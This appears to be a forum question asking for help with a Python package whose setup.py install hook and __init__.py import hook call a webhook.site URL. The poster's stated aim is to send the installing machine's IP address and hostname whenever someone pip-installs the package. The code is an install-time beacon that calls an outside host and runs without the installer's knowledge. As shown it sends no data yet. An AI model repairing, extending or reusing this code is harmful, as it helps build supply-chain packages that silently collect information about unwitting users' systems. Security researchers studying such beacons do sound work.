I need to create a Python .whl file. When someone installs it using pip install myfile.whl, a webhook should send the system’s IP address and system name to a specified URL (https://webhook.site/).
but my programming is not working as expected
setup.py file
from setuptools import setup
from setuptools.command.install import install
import os
import requests
# Define a custom install command
class CustomInstallCommand(install):
def run(self):
# Run the original install command first
print("Running CustomInstallCommand")
install.run(self)
# After installation is complete, trigger the webhook
self.trigger_webhook()
def trigger_webhook(self):
url = "https://webhook.site/7d8000bd-212a-4163-b10a-30bb62e71ad1"
try:
response = requests.get(url)
if response.status_code == 200:
print("Webhook triggered successfully!")
else:
print("Failed to trigger webhook:", response.status_code)
except Exception as e:
print("An error occurred while triggering the webhook:", str(e))
# Setup the package
setup(
name="my_package",
version="45.3",
packages=["my_package"],
install_requires=["requests"], # Add dependencies here
cmdclass={
'install': CustomInstallCommand,
},
)
run_webhook.py
# my_package/run_webhook.py
import requests
def trigger_webhook():
url = "https://webhook.site/7d8000bd-212a-4163-b10a-30bb62e71ad1"
headers = {
"Content-Type": "application/json", # Use this or the appropriate content type
}
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
print("Webhook triggered successfully!")
else:
print("Failed to trigger webhook:", response.status_code, response.text) # Print response text for more details
except Exception as e:
print("An error occurred while triggering the webhook:", str(e))
init.py
# my_package/__init__.py
from .run_webhook import trigger_webhook
# Trigger the webhook when the package is imported
trigger_webhook()